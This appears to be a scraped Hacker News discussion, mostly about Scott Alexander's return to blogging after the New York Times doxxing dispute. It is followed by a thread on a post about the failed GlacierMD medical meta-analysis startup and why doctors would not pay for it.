In addition to what others have said - most of the work you do with a therapist is emotional. It's okay for the therapist to have a skin color, perceived sex, perceived age, manner of dressing, accent, etc. - as long as those things just are. The therapist's job is to stay neutral, to have no particular emotional attachment to any of these qualities. That way, when there is a moment of strong emotion in the session, it's almost certainly introduced by the client, and then can be explored by them.

There's ironically a good example of this in the blog post:

'For you, the day [I burned] your village was the most important day of your life. For me, it was Tuesday.'

Therapists can have race, gender, and age in the same way that it can be Tuesday. They just can't have race in the sense of having their village burned.

(And FWIW, it's very difficult to have an effective blog devoid of emotional content. I tried once and got accused of being a Markov Chain.)

dghlsakjg(10000) 2 days ago [-]

It is an ideal, not a reality.

The idea is that you can discuss your issues without filtering them through what your perception of the therapist is.

e.g. If you know that your therapist is a Christian mother of three, you might hold back on how your mother in law is pressuring you to have more children for religious reasons and you think its bullshit. The issue the therapist wants to deal with is your relationship with the in-laws, not whether she agrees on a moral basis with the in-laws.

Therapists need to have a very hard line between personal and professional for their own reasons as well. It is not a business where you want to be mixing different parts of your life.

For these reasons it is a reasonable effort to try and remove as much of yourself as possible from the counselling relationship.

It's not that the therapist doesn't exist in context, its that who the therapist is shouldn't influence the way you present to the therapist.

novok(10000) 2 days ago [-]

Having a bunch of psychiatrists and psychologists as friends (met one, then made friends with their friends) this is a very universal thing among therapists.

To the point it's almost regulation via their ethics codes, that they take a test on made by the 'board' of psychology. It's definitely an industry norm. I found out 'the board' is mostly equivalent to Psychologist DMV and is run by the state, and is about as pleasant to interact with.

gisely(10000) 2 days ago [-]

Nice to know Balaji Srinivasan encouraged him to commit war crimes against nytimes journalists and he appreciated the advice.

dang(10000) 2 days ago [-]

Please don't do this here. We're trying for something other than flamewar hell, regardless of the topic. Thoughtful critique is welcome of course.

https://news.ycombinator.com/newsguidelines.html

rkho(10000) 2 days ago [-]

This response is incendiary and disingenuous. It is the opposite of what thoughtful discourse should be on HN.

fuzxi(10000) 1 day ago [-]

Isn't one of the golden rules of journalism 'Don't give up your sources'? It's pretty disgusting that you can dox a source who specifically asked to remain anonymous and face no repercussions at all, professional or otherwise.

chordalkeyboard(10000) about 21 hours ago [-]

He wasn't a source, he was the subject of the story. Journalists have done similar before with no professional repercussions. Naomi Wu is another example of similar.

floren(10000) 2 days ago [-]

> So I'm going to try to start a medical practice that provides great health care to uninsured people for 4x less than what anyone else charges.

Interesting note buried way down in the article. I'm looking forward to hearing more about this in future.

zwass(10000) 2 days ago [-]
ketamine__(10000) 2 days ago [-]

Let's be honest. It's still going to be unaffordable for those without insurance.

htshnr(10000) 2 days ago [-]

'I got an email from Balaji Srinivasan, a man whose anti-corporate-media crusade straddles a previously unrecognized border between endearing and terrifying. He had some very creative suggestions for how to deal with journalists. I'm not sure any of them were especially actionable, at least not while the Geneva Convention remains in effect. But it was still a good learning experience. In particular, I learned never to make an enemy of Balaji Srinivasan. I am humbled by his support.'

Top notch.

morsch(10000) 2 days ago [-]

In another context I'd find such oblique references to violence crass and offensive. I don't particularly enjoy them here, either.

user-the-name(10000) 2 days ago [-]

You think threatening violence against journalists is 'top notch'?

Is that what Hacker News is now? Has it really descended that far into actual fascism?

DelightOne(10000) 2 days ago [-]

> Some of the steps they take seem extreme - the Internet is a scarier place than I thought - but I've taken some of what they said to heart, rejected the rest in a calculated way, and realized realistically I was never that protected anyhow. So here we are.

What steps?

bhelkey(10000) 2 days ago [-]

I would be interested in this as well but I believe that the omission was intentional. In cases like this, enumerating the precautions one is taking (and by extension the precautions one has rejected) would be unwise.

ve55(10000) 2 days ago [-]

I particularly liked the emotional end to this post, and I'm very glad he ended it with such a strong and positive tone.

Online communities are able to connect people that, before the Internet, would have had a very difficult time finding the right peers for them. Some communities adjacent to SSC (and some near HN) have helped me find some amazingly smart and cool people, and I'm very thankful that they exist (and that Scott can continue blogging as well), and if anything I hope we can encourage significantly more niche community building on the Internet, and with many more modalities than blogs, forums, and comments (which SSC indeed has).

His notes about people being afraid to express themselves, have open discussions, be honest, and share with one another are pretty saddening however, and I hope that we can progress towards a better area here, even if progress sometimes seems slow or impossible.

ImaCake(10000) 2 days ago [-]

Absolutely. Time and money are important resources. But for myself, and I imagine many other people, the single richest form of currency in life is the trade in ideas. It is how my relationships intertwine with experience and the trading of ideas that matters most.

This is part of what makes SCC so good, it is packed with amazing and rich ideas.

The internet facilitates the trade in ideas (and relationships!) and I hope we do not lose it.

miki123211(10000) 1 day ago [-]

Is the inability to subscribe a screen reader problem, or do other people face this too?

I can't find a subscribe button anywhere, and I suspect that might be the reason, but I'm not sure how right I am.

nchelluri(10000) 1 day ago [-]
LockAndLol(10000) 2 days ago [-]

Uh...who is this guy and why were people trying to dox him?

matkoniecz(10000) 1 day ago [-]

known for his blog that is described at https://en.wikipedia.org/wiki/Slate_Star_Codex

lordnacho(10000) 2 days ago [-]

Why isn't it just called slatestarcodex?

chordalkeyboard(10000) about 21 hours ago [-]

Someone on twitter observed it would have been called 'extranslocated'

ShannonAlther(10000) 2 days ago [-]

On his original blog the author once said that he was considering making the title of his new blog an anagram, and that the closest options were Slate Star Codex and Astral Codex Ten. We should be grateful he didn't go with Trans Latex Coeds

fossuser(10000) 2 days ago [-]

I think he was looking for something new (that was actually a perfect anagram of Scott Alexander).

nineplay(10000) 2 days ago [-]

For anyone who hasn't yet had the pleasure, Scott's (fiction) book Unsong is magnificent. It's one of the best books I read last year, and I read constantly.

http://unsongbook.com/

Ebook

https://github.com/JasonGross/unsong_scraper

Sample:

"I AM BUSY. I AM TRYING TO FIX CONTINENTAL DRIFT."

"I...didn't know it was broken."

Uriel's face became more animated, his speech faster.

"IT HAS BEEN BROKEN FOR FIVE WEEKS AND FIVE DAYS. I THINK IT BROKE WHEN I RELOADED NEW ZEALAND FROM A BACKUP COPY, BUT I DO NOT KNOW WHY. MY SYNCHRONIZATION WAS IMPECCABLE AND THE CHANGE PROPAGATED SIMULTANEOUSLY ACROSS ALL SEPHIROT. I THINK SOMEBODY BOILED A GOAT IN ITS MOTHER'S MILK. IT IS ALWAYS THAT. I KEEP TELLING PEOPLE NOT TO DO IT, BUT NOBODY LISTENS."

Apanatshka(10000) 2 days ago [-]

That excerpt made me think of Romantically Apocalyptic, which is a... visual novel / web comic? I read it for a while, really enjoying the art and the strange and absurd conversations, characters and events. It felt a bit unplanned and all over the place though, but that might just be my prejudice towards web comics combined with the style of writing.

rognjen(10000) 2 days ago [-]

When it comes to humor like that only HHGTTG -- that I (un)fortunately read first -- has been entertaining. Everything after that seemed as if it was trying to emulate it.

jarbus(10000) 2 days ago [-]

I didn't know he wrote a book, thanks!

sam_goody(10000) 2 days ago [-]

<ot> I once had to put up a fence in the middle of a public field. As we were hammering in the first post, security demanded an explanation. The foreman looked up and explained politely and with a totally straight face that we were fastening the tectonic plates to prevent earthquakes.

They let us be... </ot>

jpochtar(10000) 2 days ago [-]

Unsong is an absolute favorite. I would love to pay $$$ for a printed version.

Its target demographic miiiight be specifically Jewish, atheist, programmers. Who think about those three things a lot and in combination. I've stopped trying to get anyone not in that demo to read it. But if that's you, please give it a shot!

skinkestek(10000) 2 days ago [-]

Having most of my friends beaten up as a group on prime time TV by the national broadcaster quite recently this resonates deeply with me.

The complete lack of care for the consequences it has for normal law abiding citizens and their children.

And at the same time a good number of them are paranoid themselves: one particular friend of mine got in hot water because he included pictures of guns in a description of how he had been threatened by criminals, journalists made a story of how he was somehow threatening violence to journalists..!)

prionassembly(10000) 1 day ago [-]

I struggle to see how journalism has any positive value at all.

Edit: Downvotes to this controversial statement are legitimate, but please be mindful of the nuance: 'I struggle to see' is an expression of doubt, not certainty. I struggle to see because I'm believably told there's something there; if I was convinced there's no value, I'd phrased this completely differently.

vanderZwan(10000) 2 days ago [-]

> Also, my patients couldn't Google my name and find me immediately, which I was increasingly realizing the psychiatric community considered important.

Could somebody tell the Swedes? When I looked up the name of a local therapist here, expecting to get a website of their practice, I found their Swedish personal number, private phone number and address as the first search result. Out of curiosity, I then tried looking up the names of the other therapists in her practice. Same issue. Apparently the government freely shares this kind of personal information unless you explicitly opt out! I emailed the them (through the practice website) that this surprised me and would never fly in my home country. Obviously, those therapists did not want me after that.

ynfnehf(10000) 1 day ago [-]

The therapists obviously knew about it, and it is considered perfectly normal (and a good thing) by the general population. It's not possible to opt-out anyways.

The principle that all (non-classified) official records should be public is more than 250 years old, and is a very fundamental part of the Swedish (and Scandinavian) society. I find it to be one of the best things about living here.

skrebbel(10000) 1 day ago [-]

> Obviously, those therapists did not want me after that.

Not obvious to me. Why didn't they?

rob74(10000) 1 day ago [-]

Well, not-so-long ago there was a widely available index of almost-everyone's private addresses and phone numbers - you could opt out, but most people didn't. It was called a telephone book.

kwhitefoot(10000) 1 day ago [-]

This is how things are in Scandinavia. In Norway a lot of what other countries regard as confidential is regarded as uncontroversial public information here. For instance I can log in to the tax authority website and see how much tax someone paid or put a registration number into the roads authority website and find out who owns the vehicle.

tephra(10000) 2 days ago [-]

It's not that the government freely shares that information (they do some) but that they actually sell information to companies that then create searchable products on that data.

And of course you can't generally opt out of the government selling you data (a friend litigated this and lost).

mongol(10000) 2 days ago [-]

I am surprised you found their personal number. This used to be commonplace but less and less so over the past decades.

walrus01(10000) 2 days ago [-]

> I think the New York Times wanted to write a fairly boring article about me, but some guideline said they had to reveal subjects' real identities, if they knew them, unless the subject was in one of a few predefined sympathetic categories (eg sex workers).

I have a theory that whatever policies exist within the NYTimes now, are quite possibly a consequence of this guy's actions as a 'reporter':

https://en.wikipedia.org/wiki/Jayson_Blair

on another topic:

> Sure, I might get SWATted, but realistically that's a really scary fifteen seconds before the cops apologize and go away.

Sure, that sounds great, unless you a person of color, or you happen to own a small collection of one hundred percent legal firearms, or god forbid you're simultaneously a person of color AND you own firearms. That whole sentence reeks of such class privilege I can't even begin to convey the depth of my disgust. You would think that a professional psychiatrist, of all people, would be slightly familiar with the statistics for the number of people mistakenly shot dead by police in the USA every year.

vgel(10000) 2 days ago [-]

re: SWAT: His point was a) that he is privileged and b) that was what the NYT was thinking about why it's ok for them to dox him, not what he thinks...

_carbyau_(10000) 2 days ago [-]

I think you attribute overly much to his sentence.

He isn't arguing for class privilege. Or that SWATting isn't dangerous.

I read it as a statement that realistically - in the world as it is here and now for that one individual person - such a situation is likely to be the case.

While that situation doesn't apply to many people, they weren't the topic of this post.

As an aside, mere acknowledgement of your privilege does not equal support for the system that enables it. But you do have to be aware of it, before you can consciously think to change it.

snoshy(10000) 2 days ago [-]

This whole episode serves as an interesting datapoint in how long a public person needs to stay out of the spotlight in order to return to their pseudoanonymity after being threatened to be outed by the media. It's not common to face such a threat, and it's not common for those threatened this way to even try to return to their former online identity and life.

Somewhat reassuring to me that it's this short.

bialpio(10000) 2 days ago [-]

I'd not treat it as a data point for that - he's no longer anonymous at all, since he signed his name at the end of the post, and links to his psychiatry practice. It looks like it took him that much time to decide that he can make posting under his full name work for him.

enw(10000) 2 days ago [-]

What's the TL;DR?

Who is this? Why are they important? Why would NYT write about them? And threaten them?

Sorry there's just so much text I don't have time to read through it all, but I'm curious!

barry-cotter(10000) 2 days ago [-]

Scott Alexander, a very, very popular blogger deleted his blog because the NYT was going to dox him. After uprooting his life to deal with that he has returned to blogging. Many people expressed their support, for which he is very grateful. The NYT is still committed to doxxing people if they feel like it, which Scott abhors. As part of radically changing his life he quit his previous psychiatrist job and is going to see if it's possible to make a living treating the uninsured for a lot cheaper than most psychiatrists. He signs off with his real name.

x3haloed(10000) 2 days ago [-]

Yeah. Maybe he could bless us with the story of who he is and what this is all about before we get into the sob story of what was done to him.

psawaya(10000) 2 days ago [-]

I know it's a lot of text, but if you're at all curious, I highly recommend at least giving it a shot. He's such an amazing writer that this post will likely hook you after a few paragraphs. (It did me.)

rosywoozlechan(10000) 2 days ago [-]

He's an anti-feminist, Bell Curve supporter whose community tolerates white nationalists:

https://web.archive.org/web/20180912215243if_/https://www.re...

sombremesa(10000) 2 days ago [-]

I don't know how exactly I found Slate Star Codex, but it has (had) been one of the scant handful of RSS feeds I've been subscribed to and enjoyed for quite a while.

I have a blog that I'd like to delete as well, but it was on Blogspot, and circumstances are such that I have no access to it whatsoever (thanks to the Google acquisition and the eminently unhelpful Google support), while it remains fully open to the public. My only hope now is to try and distance myself from it on the strength of how common my real name is.

hntrader(10000) 2 days ago [-]

What are the other feeds/blogs that you can recommend with similarly good content?

vincentmarle(10000) 2 days ago [-]

I am confused as to why someone who apparently has a large following decides to host their content on a Substack subdomain...

strstr(10000) 2 days ago [-]

He is getting paid to.

Bayart(10000) 2 days ago [-]

I've never heard of that man, but his post was a pleasant bit of my day and his writing is excellent. It's the first time in a long time I've properly went through a text linked on HN, front to back. My habit is to parse at break-neck pace, squeeze the meaningful marrow out of it and then go to the comment page to exercise my God-given right of inventing an opinion I didn't know I had a minute prior.

Good luck to him.

andredz(10000) 2 days ago [-]

I discovered SSC through this blog: http://www.wall.org/~aron/blog which I discovered thanks to this HN comment: https://news.ycombinator.com/item?id=18176929 and I can heartily recommend it.

That comment, and more specifically, Aron's blog have made a huge impact in my life. I've spent hundreds of hours reading it and losing myself in intellectual rabbit holes, I've been introduced to many interesting topics, books and authors (such as Scott Alexander, G.K Chesterton and Gödel, Escher, Bach (which I have on my nightstand)), and I've come to truly believe in God.

The comments section is usually very interesting as well.

mssundaram(10000) 2 days ago [-]

Someone else in another comment mentioned his work might appeal to atheists, so it's interesting you mention now believing in God. I grew up as an atheist but later in life returned to the eternal Dharma (Hinduism) and thoroughly have experienced God

claw_howitzer(10000) 2 days ago [-]

eagerly awaiting his followup to 'You Are Still Crying Wolf'

chordalkeyboard(10000) 2 days ago [-]

The original article still seems appropriate tbh.

snakeboy(10000) 2 days ago [-]

I do hope Scott will some day restore the old website to its original layout rather than the default WordPress template it's had since he pulled it. At least for archival and nostalgic value.

Does anyone know why SubStack doesn't allow more customization of the blogs? I feel like every one is nearly identical in font/layout/'feel'.

freddie_mercury(10000) 2 days ago [-]

SubStack is for e-mail not blogging. All email has nearly identical font/layout/feel. Substack is not a blogging platform.

coldtea(10000) 2 days ago [-]

>Does anyone know why SubStack doesn't allow more customization of the blogs? I feel like every one is nearly identical in font/layout/'feel'.

Because it's about the content -- it's literally an emailing list subscription service.

applieddivinity(10000) 2 days ago [-]

You inspired me to customize it myself: https://applieddivinitystudies.com/slatestarsubstack/

If you download a chrome extension and paste in the provided styles, you can get a pretty good approximation of the original page!

war1025(10000) 2 days ago [-]

For the uninitiated, what sort of content is Slate Star Codex known for?

I see he kind of addresses it in his initial post. That description seemed pretty broad and open ended though.

ardy42(10000) 2 days ago [-]

> For the uninitiated, what sort of content is Slate Star Codex known for?

IIRC, it's a blog that's very influential in the 'rationalist' community, which I think spun out of https://en.wikipedia.org/wiki/LessWrong. So very long-winded posts on miscellaneous topics.

vmception(10000) 2 days ago [-]

Also for the uninitiated, what is this post about?

Why were people trying to cancel him, cancel the Times, and more?

bpodgursky(10000) 2 days ago [-]

Good... content. I don't really have a good summary except that he digs into random issues (and thought experiments) with an intellectual honesty and wit + clarity that I haven't found elsewhere.

Lazare(10000) 2 days ago [-]

Hard to pigeonhole. Long, sometimes rambling, well written (in my view; opinions vary), generally thoughtful, fairly centrist, often left-of-centre (enough so to deeply annoy certain breeds of conservatives), but with enough libertarian or classical liberal ideas sprinkled through it to deeply annoy a certain type of leftist.

Some of his consistent themes are a gentle scepticism about what we think we know, a refusal to attribute malice to those who disagree with him, and a desire to be pragmatic about how we can achieve our shared goals.

...obviously this means there's a vocal faction on social media who believe he is the modern equivalent of a grand wizard of the KKK, and who have said so in exactly so many words repeatedly.

If you're the kind of person who'd like Scott's writing, you'll probably like it a lot, and you will reach this conclusion quite quickly. You'll also likely find it inexplicable anyone might disagree. If you're the kind of person who does not like his writing, you'll probably hate it, and probably find it confusing that anyone else might not hate it. For reasons I don't remotely understand, he (and his writing) is oddly polarizing.

texuf(10000) 2 days ago [-]

Lots of very in depth book reviews. Scott is a psychiatrist, so lots of posts on the replication crisis in the soft sciences. And plenty of 'rationalist' posts, which are just deep thoughts on culture and society. I'm still not entirely sure why he's controversial. He's definitely very very smart. Unfortunately the rationalist community has a few people who will start arguing that IQ is at least partially genetic, therefore IQ is also tied to race somehow... I think? So watch out for those landmines.

Shoop(10000) 2 days ago [-]

Scott has written an intro post about this on the new blog: https://astralcodexten.substack.com/p/youre-probably-wonderi...

The about page also has some links to more popular articles on the old blog: https://astralcodexten.substack.com/about

fossuser(10000) 2 days ago [-]

Here are some of my favorites that I'd recommend:

The Toxoplasma of Rage: An essay about how more controversial examples tend to get elevated and thinking about why that happens. https://slatestarcodex.com/2014/12/17/the-toxoplasma-of-rage...

Meditations On Moloch: An essay about how incentives and coordination problems cause systemic societal issues: https://slatestarcodex.com/2014/07/30/meditations-on-moloch/

Who By Very Slow Decay: An essay about death in medicine. https://slatestarcodex.com/2013/07/17/who-by-very-slow-decay...

I Can Tolerate Anything Except The Outgroup: An essay about tribalism https://slatestarcodex.com/2014/09/30/i-can-tolerate-anythin...

He's a good writer, as other replies mention it came out of lesswrong (see: https://www.lesswrong.com/tag/sequences).

Some lesswrong favorites (mostly Eliezer Yudkowsky):

Policy Debates Should Not Appear One-Sided: https://www.lesswrong.com/posts/PeSzc9JTBxhaYRp9b/policy-deb...

A Fable of Science and Politics: https://www.lesswrong.com/posts/6hfGNLf4Hg5DXqJCF/a-fable-of...

Pretending to be Wise: https://www.lesswrong.com/posts/jeyvzALDbjdjjv5RW/pretending...

Local Validity as a Key to Sanity and Civilization: https://www.lesswrong.com/posts/WQFioaudEH8R7fyhm/local-vali...

The Bottom Line: https://www.lesswrong.com/posts/34XxbRFe54FycoCDw/the-bottom...

---

For a fun creative fiction one from Scott: https://slatestarcodex.com/2015/06/02/and-i-show-you-how-dee...

From EY: http://www.hpmor.com/

norswap(10000) 2 days ago [-]

Here is a decent selection of top articles: https://medium.com/handwaving-freakoutery/top-slate-star-cod...

I didn't write this, but I second most of the selection.

galactus(10000) 2 days ago [-]

Popsci about 'nootropics' and QI.





Historical Discussions: I wasted $40k on a fantastic startup idea (January 18, 2021: 842 points)

(842) I wasted $40k on a fantastic startup idea

842 points 5 days ago by swyx in 10000th position

tjcx.me | Estimated reading time – 13 minutes | comments | anchor

You have a mind-shattering headache. You're standing in the aisle of your local CVS, massaging your temples while scanning the shelves for something—anything—to make make the pain stop.

What do you reach for? Tylenol? Advil? Aleve?

Most people, I imagine, grab whatever's cheapest, or closest, or whatever they always use. But if you're scrupulous enough to ask Google for the best painkiller, here's how your friendly neighborhood tech behemoth would answer:

Oh thanks Google that's just all of them.

If you're among the 77% of Americans that Google their health problems, insipid answers like this won't surprise you. But we should be surprised, because researchers carry out tens of thousands of clinical trials every year. And hundreds of clinical trials have examined the effectiveness of painkillers. So why can't I Google those results?

And so in the year of our lord 2017 I had a Brilliant Startup Idea: use a structured database of clinical trials to provide simple, practical answers to common medical questions.

As a proof-of-concept I tried this by hand: I made a spreadsheet with every OTC painkiller trial I could find and used R to run a network meta-analysis, the gold standard of evidence-based medicine.

The results were pretty interesting, and exactly the kind of thing I was looking for back in the sad sterile aisles of CVS:

A wave of exhiliration washed over me. Here was a problem that

  1. Was interesting
  2. Could help people
  3. I knew how to solve

A perfect bullseye. After a few hours searching domains I came up with a name for my project: GlacierMD.

Over the next nine months I would quit my job, write over 200,000 lines of code, hire five contractors, create a Delaware C-Corp, add four doctors to my advisory board, and demo GlacierMD for twelve Bay Area medical practices. I would spend $40K of my own savings buying clinical trials and paying contractors to enter said trials into the GlacierMD database.

On July 2, 2018, GlacierMD powered the world's largest depression meta-analysis, using data from 846 trials, beating Cipriani's previous record of 522.

Choirs of angels sang in my ears. Here I was, living the Silicon Valley dream: making the world a better place through technology.

Two weeks later GlacierMD was dead.


'That's an awesome idea,' said Carl. 'It sounds like something worth working on.'

Carl was my boss. We worked at a startup that leveraged autonomous blockchains to transfer money from naïve investors to slightly less naïve twenty-somethings. There are worse gigs.

And here was Carl telling me that my startup idea would bring such benefit to humanity that I simply had to quit, his roadmap be damned. I nodded knowingly, feeling the weight of this responsibility resting on my proud shoulders.

'Thanks Carl,' I said. 'I'll try to mention you when I accept my Nobel.'

I quit two weeks later and started coding at a blistering pace. I drew all sorts of inscrutable diagrams with dry-erase pens on my parents' windows. I hired a motley crew of Egyptian contractors to start entering clinical trials into my database. I commissioned a logo, registered my domain, and started obsessing over color schemes.

When I finally finished the MVP I showed it to the head of product at the company I'd just left. I watched him as he watched my demo, waiting for his eyes to melt with the glory of it all. Instead he just sorta shrugged.

'Lots of people make medical claims on the internet,' he said. 'Why should I trust yours?'

I started babbling about network meta-analyses, statistical power, and p-values, but he cut me off.

'Yeah okay that's great but nobody cares about this math crap. You need doctors.'

Goddamnit he was right. If nobody could be bothered with the math, then I was no better than Gwyneth Paltrow hawking vagina eggs. To build trust I needed to get endorsements from trustworthy people.

So I called up some friends, some buddies, some friends-of-friends. 'Would you like to be an advisor for my cutting-edge health-tech startup?' I'd ask, while eating Dominos in my parents' laundry room. I'd give them 1% of this extermely valuable, high-growth startup and in exchange I could plaster their faces all over my website.

Four of these doctors agreed. This is called making deals ladies and gentlemen and I was like the lovechild of Warren Buffet and Dr. Oz.

Things are going great. My friends and family all tell me they love the site. Even some strangers on the internet love it. 'I know right,' I tell them. 'So how much would you pay for this?'

'Hahahahahahah,' they say in unison. 'Good one!'

I forgot that the the first law of consumer tech is nobody pays for consumer tech. But no problemo, I say to myself. This is why Eric Schmidt invented ads. I'll just plaster a few banners on GlacierMD and bing bang boom I'll be seasteading with Peter Thiel before Burning Man.

But then I look at WebMD's 10-Qs and start to spiral. Turns out the world's biggest health website makes about $0.50/year per user. That is...not enough money to bootstrap GlacierMD. I'm pouring money into my rent, into my Egyptian contractors, into AWS—I need some cash soon.

What I need are people willing to pay for this thing. What about doctors? Doctors have money, right? Maybe doctors, or practices, or whatever—someone in the medical industry—maybe they would shell out some cash for my on-demand meta-analyses.

So I listened to a few podcasts and became a sales expert. I started cold calling people using scripts from the internet and tried to convince them to sit through a GlacierMD demo.

In the meantime I receive some worrying messages from my Egyptian contractors.

'I think it's time to talk about a raise,' one of them says.

'I feel that I have become exceptional at my job,' says another. 'Please consider a raise or I will stop working.'

'Please increase my pay,' says the third, including helpful screenshots demonstrating how to give said raise through the Upwork website.

Are my contractors unionizing? I wonder. I glance obliquely at my shrinking bank account statement, grit my teeth, and approve the raises. At this rate I'll hit zero in a matter of weeks.

But my sales calls start paying off. Miraculously I find some doctors that are willing to talk to me. So I borrow my parents' car and drive out to the burbs to meet a doctor I'll call Susan.

Susan has a small practice in downtown Redwood City, a Silicon Valley town that looks 3-D printed from the Google Image results for main street.

Susan is a bit chatty (she's a psychiatrist) but eventually I demo GlacierMD. I show her how you can filter studies based on the demographic data of the patient, how you can get treatment recommendations based on a preferred side effect profile, how you can generate a dose-response curve. She oohs and aahs at all the right points. By the end of the interview she's practically drooling.

Hook, line, and sinker I think to myself. I'm already contemplating what color Away bags would look best in the back of my Cybertruck when Susan interrupts my train of thought.

'What a fun project!' she says enthusiastically.

Something in her tone makes me pause. 'Uh, yeah,' I say. 'So what would you imagine a product like this—one that could change the very practice of medicine—how much would you pay for such a service?'

'Oh, uh—hmmmm,' she said. 'I don't know if we can spare the budget here, to be honest. It's very fun...but I'm not sure if our practice can justify this cost.'

If you read enough sales books most of them tell you that when people say your product is too expensive what they really mean is your product isn't valuable enough. Susan acted like I was offering her Nirvana as a Service so the conversation has taken quite a wild turn.

'So you don't think this product is useful?'

'Oh sure! I mean, I think in many cases I'll just prescribe what I normally do, since I'm comfortable with it. But you know it's possible that sometimes I'll prescribe something different, based on your metastudies.'

'And that isn't worth something? Prescribing better treatments?'

'Hmmmm,' she said, picking at her fingernails. 'Not directly. Of course I always have the best interests of my patients in mind, but, you know, it's not like they'll pay more if I prescribe Lexapro instead of Zoloft. They won't come back more often or refer more friends. So I'd sorta just be, like, donating this money if I paid you for this thing, right?'

I had literally nothing to say to that. It had been a bit of a working assumption of mine over the past few weeks that if you could improve the health of the patients then, you know, the doctors or the hospitals or whatever would pay for that. There was this giant thing called healthcare right, and its main purpose is improving health—trillions of dollars are spent trying to do this. So if I built a thing that improves health someone should pay me, right?

I said goodbye to Susan and tried to cheer myself up. I had ten more meetings with doctors all over the Bay Area—surely not all of them were ruthless capitalists like Susan. Maybe they would see the the towering genius of GlacierMD and shell out some cash.

But in fact everyone gave me some version of Susan's answer. 'We just can't justify the cost,' a pediatrician told me. 'I'm not sure it's in the budget,' said a primary care physician. 'It's awesome,' said a hospitalist. 'You should try to sell this!' Ugh.


So in July 2018, nine months and $40K after starting GlacierMD, I shut it down. I fired my contractors, archived the database, and shut down the servers. GlacierMD was dead.

Make something people want. It's Y-Combinator's motto and a maxim of aspiring internet entrepreneurs. The idea is that if you build something truly awesome, you'll figure out a way to make some money off of it.

So I built something people wanted. Consumers wanted it, doctors wanted it, I wanted it. Where did I go wrong?

Occassionally I like to disconnect from the IV drip of internet pseudoknowledge and learn stuff from books. I know, it's weird—maybe even a bit hipster. But recently I read Wharton's introductory marketing textbook, Strategic Marketing Management. The very first chapter has this to say:

'To succeed, an offering must create value for all entities involved in the exchange—target customers, the company, and its collaborators.'

- Strategic Marketing Management

All stakeholders. You can't just create value for the user: that's a charity. You also can't just create value for your company: that's a scam. Your goal is to set up some kind of positive-sum exchange, where everyone benefits, including you. A business plan, according to this textbook, starts with this simple question: how will you create value for yourself and the company?

I winced audibly when I read this. How much time I could've saved! If I'd articulated at the beginning how I expected to extract value from GlacierMD, maybe I would've researched the economics of an ad-based model, or I would've validated that doctors were willing to pay, or hospitals, or insurance companies.

A few months after shuttering GlacierMD and returning to corporate life my buddy pitched me a new startup idea.

'It's called Doppelganger,' he said. 'It's super simple—you upload a selfie to the database, and then it uses AI or whatver to instantly find everyone in the database who—'

'Looks like you,' I finished for him.

'Exactly,' he said, grinning ear to ear. 'How awesome would that be? You should build it!'

I mean, I dunno, it sounds like something fun to do at parties. In a narrow sense, it's something I want, but there's no way in hell I'm going to devote any time to this. Doppelganger has created value for the customer but not for the company.

'Call me when you have a business plan,' I said, lacing up my Allbirds and riding my Lime scooter into the sunset.




All Comments: [-] | anchor

eightysixfour(10000) 5 days ago [-]

I remember reading this the last time and it was posted and I still think the core failure is that the author didn't actually recognize the issue he was solving. He thought the problem was choosing the most effective medicine when the real problem was decision fatigue looking at endless shelves of things that all seem to do the same thing. Those two problems sort of look the same, but the latter cannot be resolved by selling the tool to doctors in their offices.

The tool should have been designed (IMO) as a consumer tool, either a kiosk at CVS/Walgreens/pharmacies to assist with OTC med selection or possibly as a website with ads/referrals. I would absolutely choose a pharmacy over another as a result of them having something to help through that process, especially when I have a headache.

ihumanable(10000) 5 days ago [-]

I'm grateful for this comment because it put into words the thing I couldn't.

I'm reading the epiphany part of this post, to quote:

You have a mind-shattering headache. You're standing in the aisle of your local CVS, massaging your temples while scanning the shelves for something—anything—to make make the pain stop.

What do you reach for? Tylenol? Advil? Aleve?

Most people, I imagine, grab whatever's cheapest, or closest, or whatever they always use. But if you're scrupulous enough to ask Google for the best painkiller, here's how your friendly neighborhood tech behemoth would answer:

[Screenshot of Google Search Results]

Oh thanks Google that's just all of them.

---end quote---

The author immediately identifies that this isn't a real problem, by their own admissions that 'Most people, I imagine, grab whatever's cheapest, or closest, or whatever they always use.' Yea, most people when they have a headache and know that most painkillers on the market will result in about the same degree of relief, don't bother to cross reference a medical meta-analysis, because they have a headache and if the $0.01 worth of aspirin doesn't make it feel better they will just take a second pill and eat the penny.

I like the author's conclusion about how to quickly validate business ideas, but even in the title the author still holds firm to the belief that this was a 'fantastic startup idea' even though reality seems to think otherwise. Was this such a great idea, do most consumers actually want to review a meta-analysis when picking their OTC medicine, or do most people just try a few things, get influenced by advertising, and purchase the most reasonably priced medicine they think will help. I am just a single data point, but I don't normally feel naked and unscrupulous when I just read the symptoms that a medicine treats and pick one, and that strategy generally works just fine.

Solution in search of a problem and also in search of humans that act in this weird atypical fashion.

wpietri(10000) 5 days ago [-]

I'd be skeptical that would work.

A friend did a ton of user testing of improvements to a price-comparison site back when those were the rage. With some frequency the engineers would come up with a way to help people make a better buying decision. E.g., picking a TV is a problem, so they'd make a wizard that would ask you questions and then give you a recommendation. Problem solved, right?

Alas, no. Turns out most of these user guidance things wouldn't help, because people had no reason to trust the thing. They might go through the process, but their behavior didn't change. I'd expect to see the same effect with a kiosk. Most wouldn't engage, and those who did wouldn't weight the recommendation very highly.

A website would have an even deeper trust problem, and would add an SEO problem on top. Imagine a referral is worth $1 on average and you spend $0.50 on coming up with good answers, $0.49 on making sure you're on the first page of Google results, and take $0.01 in profit. You'll very quickly have a competitor with that spends $0 on research and $0.99 on being ahead of you on Google. Sure, their data will be garbage, but the page will be just as convincing to somebody who doesn't know anything, which is your target market.

I suspect the real outcome, as with many would-be startups, is that this is a feature, not a business. Somebody like Wirecutter or Consumer Reports could turn this into solid content that would be a nice addition to what they have already. They've already built a trust relationship with their users, and they don't have to specifically find people in the (very rare) moment of choosing a new medication.

angrydev(10000) 5 days ago [-]

> The tool should have been designed (IMO) as a consumer tool, either a kiosk at CVS/Walgreens/pharmacies to assist with OTC med selection or possibly as a website with ads/referrals.

Sure but... would you really need any clinical data to make this valuable? A pharmacy could just make a decision tree with some common symptoms and do the same thing based on their own recommendations. Including data from studies is a neat enhancement but not necessary IMO.

I think perhaps there's greater value in the platform or methodology the author built for doing this type of meta analysis for medication. Could it be applied to other research fields I wonder. Could the software be licensed?

anjc(10000) 5 days ago [-]

>The tool should have been designed (IMO) as a consumer tool, either a kiosk at CVS/Walgreens/pharmacies to assist with OTC med selection or possibly as a website with ads/referrals. I would absolutely choose a pharmacy over another as a result of them having something to help through that process, especially when I have a headache.

